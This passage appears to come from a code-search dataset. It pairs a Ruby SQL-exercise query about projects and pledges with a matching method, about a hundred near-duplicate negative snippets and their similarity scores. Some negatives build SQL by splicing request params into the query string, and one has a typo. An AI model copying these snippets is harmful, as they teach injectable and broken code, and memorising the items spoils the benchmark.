"def load_schemas\n\t\t\tschema_instructions = []\n\t\t\tschema_pi = self.find_all { |i| i.is_a? REXML::Instruction and i.target == 'xml:schema' }\n\t\t\tschema_pi.each do |i|\n\t\t\t\tif i.attributes.has_key?('url')\n i.attributes['source'] = i.attributes['url']\n elsif i.attributes.has_key?('source')\n i.attributes['url'] = i.attributes['source']\n else\n raise \"parse error schema instruction missing required url attribute\"\n end\n if i.attributes.has_key?('uri')\n i.attributes['space'] = i.attributes['uri']\n elsif i.attributes.has_key?('space')\n i.attributes['uri'] = i.attributes['space']\n else\n raise \"parse error schema instruction missing required type attribute\"\n end\n schema_instructions << i\n\t\t\tend\n\t\t\treturn schema_instructions\n\t\tend"
] | [
"0.5989781",
"0.5866443",
"0.58146",
"0.58146",
"0.5582218",
"0.5562461",
"0.54327744",
"0.5393348",
"0.5391727",
"0.5388659",
"0.53873897",
"0.5367174",
"0.53637314",
"0.5362144",
"0.53528416",
"0.5346108",
"0.52761114",
"0.5260748",
"0.5244348",
"0.5230568",
"0.52272516",
"0.520448",
"0.5179086",
"0.51771635",
"0.5162921",
"0.51512194",
"0.51512194",
"0.51512194",
"0.5143893",
"0.5075332",
"0.50751925",
"0.5071935",
"0.50670016",
"0.50640184",
"0.5057442",
"0.5042921",
"0.50181305",
"0.50156456",
"0.5013959",
"0.5013731",
"0.50126874",
"0.50087637",
"0.50038874",
"0.4990995",
"0.4990995",
"0.49765363",
"0.49618563",
"0.495351",
"0.49522495",
"0.49403957",
"0.4935812",
"0.49195665",
"0.4917715",
"0.49017856",
"0.49007162",
"0.48986384",
"0.48955747",
"0.48926958",
"0.4885897",
"0.48858458",
"0.48809844",
"0.4879088",
"0.4875835",
"0.48670363",
"0.48656467",
"0.48576212",
"0.4852544",
"0.4850981",
"0.48498267",
"0.48495564",
"0.48484814",
"0.48313227",
"0.4830908",
"0.48282087",
"0.48261046",
"0.48231554",
"0.48230657",
"0.48230657",
"0.48229316",
"0.48224053",
"0.48222277",
"0.48166347",
"0.48140943",
"0.48107064",
"0.48096776",
"0.48027307",
"0.48010832",
"0.48010832",
"0.48002517",
"0.47989944",
"0.47986978",
"0.47894406",
"0.4787441",
"0.4780232",
"0.477811",
"0.477785",
"0.47759262",
"0.47739103",
"0.47738287",
"0.47722074",
"0.4768268"
] | 0.0 | -1 |
def select_category_from_projects "SELECT category FROM projects;" end Make sure each ruby method returns a string containing a valid SQL statement. CREATE TABLE projects ( id INTEGER PRIMARY KEY, title TEXT, category TEXT, funding_goal INTEGER, start_date TEXT, end_date TEXT ); CREATE TABLE users ( id INTEGER PRIMARY KEY, name TEXT, age INTEGER ); CREATE TABLE pledges ( id INTEGER PRIMARY KEY, amount INTEGER, user_id INTEGER, project_id INTEGER ); | def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name
"SELECT projects.title, SUM(pledges.amount)
FROM projects
INNER JOIN pledges
ON projects.id = pledges.project_id
GROUP BY projects.title
ORDER BY projects.title;"
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def select_category_from_projects\n\"SELECT category FROM projects;\"\nend",
"def selects_the_category_names_and_pledge_amounts_of_all_pledges_in_the_music_category\n\"SELECT projects.category, pledges.amount\nFROM pledges\nINNER JOIN projects\nON projects.id = pledges.project_id\nWHERE projects.category = 'music';\n\"\nend",
"def selects_the_category_name_and_the_sum_total_of_the_all_its_pledges_for_the_books_category\n\"SELECT Projects.category, SUM(Pledges.amount) FROM Projects JOIN Pledges ON Pledges.project_id = Projects.id WHERE Projects.category = 'books';\"\nend",
"def selects_the_category_name_and_the_sum_total_of_the_all_its_pledges_for_the_books_category\n\"SELECT projects.category, SUM(pledges.amount)\nFROM pledges\nINNER JOIN projects\nON pledges.project_id = projects.id \nWHERE projects.category = 'books';\"\nend",
"def current_categories(db)\r\n\tretrieve_categories = '\r\n\tSELECT name FROM categories'\r\n\tcategories = db.execute(retrieve_categories)\r\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_title\n \"Write your SQL query Here\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts\n <<-SQL\n SELECT projects.title , sum(pledges.amount)\n FROM projects\n INNER JOIN pledges\n ON projects.id = pledges.project_id\n GROUP BY pledges.project_id\n ORDER BY projects.title\n SQL\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n\"SELECT title, SUM(amount)\nFROM projects\nINNER JOIN pledges\nON projects.id = pledges.project_id\nGROUP BY title\nORDER BY title\"\n\n# FROM owners\n# INNER JOIN cats_owners\n# ON owners.id = cats_owners.owner_id\n# JOIN cats ON cats_owners.cat_id = cats.id\n# WHERE cats_owners.owner_id = 2;\n\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n \"Write your SQL query Here\"\n \"SELECT projects.title, SUM(pledges.amount)\n FROM projects\n INNER JOIN pledges\n ON projects.id = pledges.project_id\n GROUP BY projects.title ORDER BY projects.title;\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n\"Write your SQL query Here\"\n \"SELECT projects.title, SUM(amount) FROM projects\n INNER JOIN pledges ON project_id = projects.id\n GROUP BY title;\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n\"Write your SQL query Here\"\n\"SELECT projects.title, SUM(pledges.amount) FROM projects INNER JOIN pledges ON projects.id = pledges.project_id GROUP BY(projects.title) ;\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n sql = <<-SQL\n SELECT projects.title, SUM(pledges.amount) FROM projects JOIN pledges ON pledges.project_id = projects.id GROUP BY projects.title;\n SQL\n\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n\"Write your SQL query Here\"\n \"SELECT projects.title, SUM(pledges.amount) FROM projects INNER JOIN pledges ON pledges.project_id = projects.id GROUP BY projects.title ORDER BY title\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n# Select projects title column and the sum of the pledges amount column\n# from the projects database,\n# join the pledges (Join table)\n# with projects.id and the pledges project id. Match these numbers\n# Group the tables together by Projects title and then\n# sort by projects.title\n\"SELECT Projects.title, SUM(Pledges.amount)\n FROM Projects\n JOIN Pledges\n ON Projects.id = Pledges.project_id\n GROUP BY Projects.title\n ORDER BY Projects.title;\n\"\nend",
"def current_categorized_expenses(db, user_name)\r\n\tretrieve_categorized_expenses = '\r\n\tSELECT categories.name, amount FROM expenses\r\n\tJOIN users ON expenses.user_id = users.id\r\n\tJOIN categories ON expenses.category_id = categories.id\r\n\tWHERE users.name = ?'\r\n\tcategorized_expenses = db.execute(retrieve_categorized_expenses, [user_name])\r\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n<<-SQL\n SELECT projects.title, SUM(pledges.amount)\n FROM projects\n JOIN pledges\n ON projects.id = pledges.project_id\n GROUP BY projects.title;\nSQL\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_title\n \"Write your SQL query Here\"\n \n\"SELECT projects.title, SUM(amount) \nFROM pledges \nINNER JOIN projects \nON pledges.project_id = projects.id GROUP BY projects.title;\"\nend",
"def categories()\n db = connect()\n db.execute('SELECT * FROM categories')\n end",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_title\n <<-SQL \n SELECT projects.title, SUM(pledges.amount)\n FROM projects \n INNER JOIN pledges on projects.id = pledges.project_id \n GROUP BY projects.title\n ORDER BY projects.title\n SQL\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts\n\"SELECT projects.title, SUM(pledges.amount) FROM pledges INNER JOIN projects ON projects.id=pledges.project_id GROUP BY projects.title;\"\n## FROM - where are they talking to each other - where is the scotch tape\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n<<-SQL\nSELECT projects.title, SUM(pledges.amount) \nFROM projects \nINNER JOIN pledges on projects.id = pledges.project_id\nGROUP BY (pledges.project_id)\nORDER BY projects.title;\nSQL\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n\"SELECT projects.title, SUM(pledges.amount)\nFROM pledges\nINNER JOIN projects \nON pledges.project_id = projects.id\nGROUP BY project_id\nORDER BY projects.title;\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_title\n \"SELECT projects.title, sum_pledges FROM (SELECT pledges.project_id, SUM(pledges.amount) AS sum_pledges FROM pledges GROUP BY pledges.project_id) INNER JOIN projects ON projects.id = project_id ORDER BY projects.title\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts\n\"SELECT Projects.title, SUM(Pledges.amount)\n FROM projects\n JOIN pledges\n ON Projects.id = Pledges.project_id\n GROUP BY project_id\n ORDER BY Projects.title\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n\"SELECT Projects.title, SUM(pledges.amount) \nFROM projects \nJOIN pledges \nON Projects.id = pledges.project_id \nGROUP BY title\"; \nend",
"def get_category_name(category_id)\n db = SQLite3::Database.new \"#{$script_dir}/cfps.db\"\n category = db.get_first_value(\"select name from category where id = ?\", [category_id])\n\n return categor\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n<<-SQL\n SELECT DISTINCT title ,SUM(amount) FROM projects INNER JOIN pledges ON projects.id = pledges.project_id\n GROUP BY projects.title\n SQL\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts\n \"SELECT projects.title, sum(pledges.amount)\n FROM projects\n INNER JOIN pledges\n ON projects.id = pledges.project_id\n GROUP BY pledges.project_id\n ORDER BY projects.title ASC;\n \"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n\"SELECT projects.title, SUM(pledges.amount)\nFROM projects\nINNER JOIN pledges \nON projects.id=pledges.project_id\nGROUP BY projects.id\nORDER BY projects.title;\"\nend",
"def list_projects # :nologin:\n query = create_query(:Project, :all, :by => :title)\n show_selected_projects(query)\n end",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\r\n\"SELECT title, SUM(pledges.amount) FROM projects\r\nJOIN pledges ON projects.id = pledges.project_id\r\nGROUP BY projects.id\r\nORDER BY title ASC\"\r\nend",
"def projects\n where(:_type => ProjectCategory.name)\n end",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts\n\"SELECT projects.title, SUM(pledges.amount)\n FROM projects\n JOIN pledges\n ON projects.id = pledges.project_id\n GROUP BY projects.title;\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts\n \"SELECT projects.title,\n SUM(pledges.amount)\n FROM pledges\n INNER JOIN projects\n ON projects.id = pledges.project_id\n GROUP BY projects.title;\"\n\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts\n\"SELECT projects.title, SUM(pledges.amount) FROM pledges INNER JOIN projects ON projects.id = pledges.project_id GROUP BY projects.title ORDER BY projects.title \"\nend",
"def selects_the_titles_and_amount_over_goal_of_all_projects_that_have_met_their_funding_goal\n\"SELECT projects.title, (SUM(pledges.amount)-projects.funding_goal) FROM projects INNER JOIN pledges ON projects.id = pledges.project_id GROUP BY projects.title HAVING (SUM(pledges.amount)) >= projects.funding_goal\";\n# INSERT INTO projects (id, title, category, funding_goal, start_date, end_date)\n# INSERT INTO pledges (id, amount, user_id, project_id\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n\"SELECT projects.title, SUM(pledges.amount )\nFROM projects \nJOIN pledges\nON projects.id = pledges.project_id \nGROUP BY projects.title \nORDER BY projects.title \";\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts\n \"SELECT projects.title, SUM(pledges.amount) FROM projects\n JOIN pledges ON projects.id = pledges.project_id\n GROUP BY projects.title;\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n\"SELECT projects.title, sum(amount) AS pledge_amount\nFROM pledges\nJOIN projects\nWHERE pledges.project_id = projects.id\nGROUP BY project_id\nORDER BY projects.title;\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n\"SELECT projects.title, \nSUM(pledges.amount) \nFROM projects\nJOIN pledges ON pledges.project_id = projects.id\nGROUP BY projects.title\nORDER BY projects.title ASC;\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts\n\"SELECT title, SUM(amount) FROM projects\nJOIN pledges on projects.id = pledges.project_id\nGROUP BY title;\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_title\n \"\nSELECT \nProjects.title,\nSUM(Pledges.amount)\nFROM Pledges\nINNER JOIN Projects\nON Pledges.project_id = Projects.id\nGROUP BY Projects.title\nORDER BY Projects.title\n\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts\n \"SELECT projects.title, SUM(pledges.amount) \n FROM projects\n JOIN pledges\n ON pledges.project_id = projects.id\n GROUP BY projects.title;\"\nend",
"def schema_table_projets\n <<-MYSQL\nCREATE TABLE projets\n (\n # ID\n # --\n # IDentifiant du projet, pas forcément le même que l'ID\n # du programme auquel il est associé.\n id INTEGER AUTO_INCREMENT,\n\n # TITRE\n # ------\n # Titre du projet\n # Il n'est pas obligatoire et, surtout, il n'est pas encore\n # défini à la création du projet. Par défaut, on met \"sans titre\"\n titre VARCHAR(255) DEFAULT 'Sans titre',\n\n # AUTEUR_ID\n # ---------\n # ID de l'auteur du projet\n auteur_id INTEGER NOT NULL,\n\n # PROGRAM_ID\n # ----------\n # ID du programme auquel est associé le projet.\n # C'est une valeur non nulle car un projet ne peut pas\n # être dissocié d'un programme ÉCRIRE UN ROMAN/FILM EN UN AN\n program_id INTEGER NOT NULL,\n\n # RÉSUMÉ\n # ------\n # Le résumé (littéraire) du projet\n resume TEXT,\n\n # SPECS\n # -----\n # Spécificités du projet, comme le fait que ce soit un\n # roman, etc.\n # Chaque bit représente une spécificité. Cf. le fichier\n # ./objet/unan/lib/required/projet/specs.rb pour le détail.\n specs VARCHAR(32),\n\n # CREATED_AT\n # ----------\n # Timestamp de la création du projet\n created_at INTEGER(10),\n\n # UPDATED_AT\n # ----------\n # Timestamp de la modification de cette donnée\n updated_at INTEGER(10),\n\n\n PRIMARY KEY (id)\n );\n MYSQL\nend",
"def category_totals(db, user_name, number)\r\n\tretrieve_totals = '\r\n\tSELECT categories.name, SUM(amount) FROM expenses\r\n\tJOIN users ON expenses.user_id = users.id\r\n\tJOIN categories ON expenses.category_id = categories.id\r\n\tWHERE categories.id = ?\r\n\tAND users.name = ?'\r\n\ttotals = db.execute(retrieve_totals, [number, user_name])[0]\r\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n\"Select title, amount from projects, pledges where projects.id = pledges.id order by title ASC;\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts\n\"SELECT projects.title, SUM(pledges.amount) FROM projects JOIN pledges on projects.id = pledges.project_id group by projects.title\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_title\n # select the titles from projects and sum all the pledges\n # from pledges\n # join with the project table \n # group by pledges.project id\n # order by project.title ASC\n \n \"SELECT projects.title, SUM(pledges.amount)\n FROM pledges\n JOIN projects on projects.id = pledges.project_id\n GROUP BY pledges.project_id\n ORDER BY projects.title ASC;\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_title\n <<-SQL\n SELECT\n title, sum(amount)\n FROM\n projects\n JOIN pledges\n ON pledges.project_id = projects.id\n GROUP BY\n title\n ORDER BY\n title\n SQL\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n \"SELECT projects.title,(SELECT SUM(pledges.amount))\n FROM projects\n INNER JOIN pledges ON projects.id = pledges.project_id\n GROUP BY projects.title;\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n\"SELECT projects.title, SUM(pledges.amount)\nFROM projects\nJOIN pledges\nON projects.id = pledges.project_id\nGROUP BY projects.title;\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n #SELECT title, SUM(quantity) FROM groceries GROUP BY aisle ORDER BY SUM(quantity);\n\n \"SELECT projects.title, sum( pledges.amount)\nFROM projects\nJOIN pledges\nwhere projects.id=pledges.project_id\ngroup by projects.title order by projects.title\n;\"\n\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts\n \"SELECT projects.title, SUM(pledges.amount) \n FROM projects\n INNER JOIN pledges ON projects.id = pledges.project_id\n GROUP BY projects.title;\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n\"SELECT projects.title, sum(pledges.amount) FROM projects INNER JOIN pledges on pledges.project_id=projects.id group by pledges.project_id ORDER BY projects.title ASC\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts\n\"select projects.title, sum(pledges.amount) from projects join pledges on projects.id = pledges.project_id group by pledges.project_id order by projects.title\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts\n \"SELECT projects.title, SUM(pledges.amount)\n FROM projects\n JOIN pledges\n ON projects.id = pledges.project_id\n GROUP BY projects.title\"\nend",
"def category()\n sql = \"SELECT * FROM categories WHERE id = $1 ORDER BY name;\"\n values = [@category_id]\n sql_result = SqlRunner.run(sql, values)\n return Category.new(sql_result[0])\n end",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts\n\"SELECT projects.title, SUM(pledges.amount)\n FROM projects\n INNER JOIN pledges\n ON pledges.project_id = projects.id\n GROUP BY(projects.title);\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_title\n # SELECT titles, amounts FROM projects, pledges ORDER BY titles ASC\n #SELECT titles.projects, pledges.amounts ORDER BY titles ASC\n \"SELECT projects.title, SUM(pledges.amount) FROM projects\n JOIN pledges \n ON pledges.project_id = projects.id \n GROUP BY(pledges.project_id)\n ORDER BY projects.title ASC\n \";\nend",
"def get_project_name(id)\n con = PG::Connection.connect(\"localhost\",5432,nil,nil,\"aaa\",\"admin\")\n sql = \"SELECT name \"\n sql += \"FROM projects \"\n sql += \"WHERE id='#{id}' \"\n res = con.exec(sql)\n con.close\n name = \"NA\"\n name = res[0]['name'] if res.num_tuples > 0\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts\n\t\"SELECT projects.title, SUM(pledges.amount)\n\tFROM projects\n\tINNER JOIN pledges\n\tON projects.id=pledges.project_id\n\tGROUP BY projects.title;\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n\"SELECT title, SUM(amount)\nFROM projects\nINNER JOIN pledges\nON projects.id = pledges.project_id\nGROUP BY projects.title\nORDER BY projects.title;\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts\n\"SELECT projects.title, SUM(pledges.amount) FROM projects\n INNER JOIN pledges ON pledges.project_id = projects.id\n GROUP BY projects.title;\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n \"SELECT title, (select sum(amount) from pledges where project_id = projects.id) FROM projects Order by projects.title\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n\"SELECT title, SUM(pledges.amount)\n FROM projects\n JOIN pledges ON pledges.project_id = projects.id\n GROUP BY project_id\n ORDER BY title;\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n\"SELECT title, SUM(amount) FROM pledges INNER JOIN projects ON projects.id = pledges.project_id GROUP BY projects.id ORDER BY title;\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n\"SELECT projects.title, SUM (pledges.amount)\nFROM projects\nINNER JOIN pledges\nON projects.id = pledges.project_id\nGROUP BY title\nORDER BY title ASC;\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts\n \"select projects.title, sum(pledges.amount) from pledges inner join projects on pledges.project_id = projects.id group by pledges.project_id order by projects.title\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts\n \"SELECT projects.title, SUM(pledges.amount)\n FROM projects\n INNER JOIN pledges\n ON pledges.project_id = projects.id\n GROUP BY projects.title;\"\nend",
"def selects_the_titles_and_amount_over_goal_of_all_projects_that_have_met_their_funding_goal\n \"SELECT projects.title, (sum(pledges.amount) - projects.funding_goal)\n FROM projects\n INNER JOIN pledges\n ON projects.id = pledges.project_id\n GROUP BY pledges.project_id\n HAVING (sum(pledges.amount) >= projects.funding_goal)\n ORDER BY projects.title ASC;\n \"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n\"SELECT Projects.title, SUM(Pledges.amount) FROM Projects JOIN Pledges ON Pledges.project_id = Projects.id GROUP BY Projects.title;\"\nend",
"def select(db); end",
"def select(db); end",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n\"SELECT projects.title, SUM(pledges.amount)\n FROM pledges\n INNER JOIN projects\n ON pledges.project_id = projects.id\n GROUP BY projects.title\n ORDER BY projects.title\n\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts\n \"SELECT projects.title, SUM(pledges.amount) FROM projects JOIN pledges ON projects.id = pledges.project_id GROUP BY projects.title\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n\"SELECT p.title, SUM(pl.amount) FROM pledges pl INNER JOIN projects p ON pl.project_id = p.id GROUP BY pl.project_id ORDER BY p.title\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n \"SELECT projects.title, SUM(pledges.amount) FROM projects INNER JOIN pledges ON pledges.project_id=projects.id GROUP BY projects.title ORDER BY projects.title;\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n \"SELECT projects.title, SUM(pledges.amount)\n FROM projects\n JOIN pledges ON pledges.project_id = projects.id\n GROUP BY title\n ORDER BY title ASC;\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n\"SELECT projects.title, SUM(pledges.amount) FROM projects INNER JOIN pledges ON projects.id = pledges.project_id GROUP BY projects.title ORDER BY projects.title ASC;\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts\n\"SELECT projects.title, SUM(pledges.amount)\n FROM Projects\n INNER JOIN Pledges\n ON pledges.project_id = projects.id\n GROUP BY projects.title\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n\"SELECT projects.title, SUM(pledges.amount) FROM projects\nJOIN pledges ON projects.id = pledges.project_id\nGROUP BY title\"\nend",
"def get_budgets(db)\r\n budgets = db.execute(\"SELECT * FROM budgets\")\r\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts\n\"SELECT projects.title, SUM(pledges.amount)\nFROM projects \nINNER JOIN pledges \nWHERE projects.id = pledges.project_id \nGROUP BY projects.title\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts\n 'SELECT projects.title, SUM(pledges.amount) FROM pledges JOIN projects ON projects.id=pledges.project_id GROUP BY projects.title'\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n\"SELECT projects.title, SUM(pledges.amount)\nFROM projects\nINNER JOIN pledges\nON projects.id = pledges.project_id GROUP BY projects.title;\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n\"select\nprojects.title,\nsum(pledges.amount) as sum_all_pledges\nfrom projects\ninner join pledges\non projects.id = pledges.project_id\ngroup by projects.title\norder by projects.title;\n\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts\n\"SELECT projects.title, SUM(pledges.amount)\nFROM projects\nLEFT JOIN pledges\nON projects.id = pledges.project_id\nGROUP BY projects.id\nORDER BY projects.title ASC\"\nend",
"def index\n\n # @sql = \"Projects.name ILIKE '#{'%'+params[:name]+'%'}' \" if params[:name].present?\n @sql = params[:name].present? ? \"Projects.name ILIKE '#{'%'+params[:name]+'%'}' \" : \"Projects.name ILIKE '%' \"\n @sql += \"OR Projects.description ILIKE '#{'%'+params[:name]+'%'}' \" if params[:name].present?\n\n @sql += \"and Projects.category ILIKE '#{'%'+params[:categorysdigital]+'%'}' \" if params[:categorysdigital].present?\n if params[:categorysdigital].present?\n @sql += \"or Projects.category ILIKE '#{'%'+params[:categorysmarketing]+'%'}' \" if params[:categorysmarketing].present?\n else\n @sql += \"And Projects.category ILIKE '#{'%'+params[:categorysmarketing]+'%'}' \" if params[:categorysmarketing].present?\n end\n\n if params[:categorysdigital].present? || params[:categorysmarketing].present?\n @sql += \"or Projects.category ILIKE '#{'%'+params[:categorysdesign]+'%'}' \" if params[:categorysdesign].present?\n else\n @sql += \"And Projects.category ILIKE '#{'%'+params[:categorysdesign]+'%'}' \" if params[:categorysdesign].present?\n end\n\n @sql += \"and Projects.progress = #{params[:progresspropose].to_i} \" if params[:progresspropose].present?\n if params[:progresspropose].present?\n @sql += \"or Projects.progress = #{params[:progressselected].to_i} \" if params[:progressselected].present?\n else\n @sql += \"and Projects.progress = #{params[:progressselected].to_i} \" if params[:progressselected].present?\n end\n\n if params[:progressselected].present?\n @sql += \"or Projects.progress = #{params[:progressclose].to_i} \" if params[:progressclose].present?\n else\n @sql += \"and Projects.progress = #{params[:progressclose].to_i} \" if params[:progressclose].present?\n end\n\n # @sql += \"ORDER progress\"\n @projects = Project.where(@sql).order(:progress)\n @count = @projects.count\n @count_tt = Project.count\n end",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n\"SELECT p.title, SUM(pl.amount) FROM projects AS p\nJOIN pledges AS pl ON p.id = pl.project_id\nGROUP BY p.title;\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n\"SELECT title, SUM(amount) FROM projects\nJOIN pledges\non projects.id = pledges.project_id\nGROUP BY projects.title;\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n\"SELECT projects.title,SUM(pledges.amount) FROM projects INNER JOIN pledges ON projects.id=pledges.project_id GROUP BY projects.title\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts\n\"SELECT title, SUM(pledges.amount) FROM projects\n JOIN pledges ON projects.id = pledges.project_id\n GROUP BY projects.title\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n\"SELECT projects.title, SUM(pledges.amount) \n FROM projects INNER JOIN pledges\n ON projects.id = pledges.project_id\n GROUP BY projects.title\n ORDER BY projects.title\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n\"SELECT projects.title,sum(pledges.amount) FROM projects JOIN pledges WHERE projects.id=pledges.project_id GROUP BY projects.title ORDER BY projects.title;\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n\"SELECT projects.title, SUM(pledges.amount)\nFROM projects\nLEFT JOIN pledges\nON projects.id=pledges.project_id\nGROUP BY projects.title\nORDER BY projects.title;\"\nend",
"def get_category_id(category)\n db = SQLite3::Database.new \"#{$script_dir}/cfps.db\"\n category_id = db.get_first_value(\"select id from category where name = ?\", [category])\n\n return category_id\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n\"SELECT title, SUM(amount)\nFROM projects\nJOIN pledges\nON projects.id = pledges.project_id\nGROUP BY title\nORDER BY title ASC\"\nend",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n \"SELECT projects.title as title, SUM(pledges.amount)\n FROM projects\n INNER JOIN pledges\n ON projects.id = pledges.project_id\n GROUP BY title\";\n\nend",
"def projects ; end",
"def selects_the_titles_of_all_projects_and_their_pledge_amounts_alphabetized_by_name\n \"SELECT projects.title, SUM(pledges.amount) FROM projects INNER JOIN pledges ON projects.id = pledges.project_id GROUP BY projects.title\";\nend"
] | [
"0.85798305",
"0.7391567",
"0.69657433",
"0.6950588",
"0.6634899",
"0.662993",
"0.6523316",
"0.6484258",
"0.64634806",
"0.6426333",
"0.63640916",
"0.63552696",
"0.63456184",
"0.63089365",
"0.6301092",
"0.62780017",
"0.6228032",
"0.6221488",
"0.6173391",
"0.61261296",
"0.61195",
"0.6107038",
"0.60944414",
"0.6090907",
"0.6085861",
"0.60856235",
"0.6069713",
"0.60646653",
"0.60598093",
"0.60539657",
"0.60523283",
"0.6051169",
"0.6049886",
"0.6030139",
"0.600812",
"0.5999942",
"0.5996479",
"0.5985415",
"0.59750426",
"0.5973247",
"0.59710616",
"0.5965853",
"0.5962179",
"0.59590745",
"0.5956965",
"0.59557307",
"0.59502906",
"0.59442264",
"0.59354377",
"0.5933811",
"0.59254587",
"0.59203947",
"0.5916702",
"0.5911405",
"0.59110415",
"0.5904963",
"0.5903548",
"0.5901007",
"0.58965576",
"0.5892838",
"0.5881235",
"0.5881184",
"0.5876683",
"0.58764017",
"0.5875976",
"0.5873325",
"0.58706194",
"0.5870029",
"0.58700216",
"0.58679307",
"0.5867805",
"0.58637804",
"0.58637804",
"0.5860077",
"0.58597195",
"0.5855551",
"0.5853886",
"0.5849227",
"0.58458364",
"0.5845471",
"0.58336043",
"0.5830889",
"0.5830837",
"0.58288294",
"0.58246106",
"0.58214736",
"0.5819763",
"0.58194053",
"0.5815639",
"0.5812517",
"0.5808047",
"0.5807415",
"0.579976",
"0.57973033",
"0.57953084",
"0.5793555",
"0.5790305",
"0.57899874",
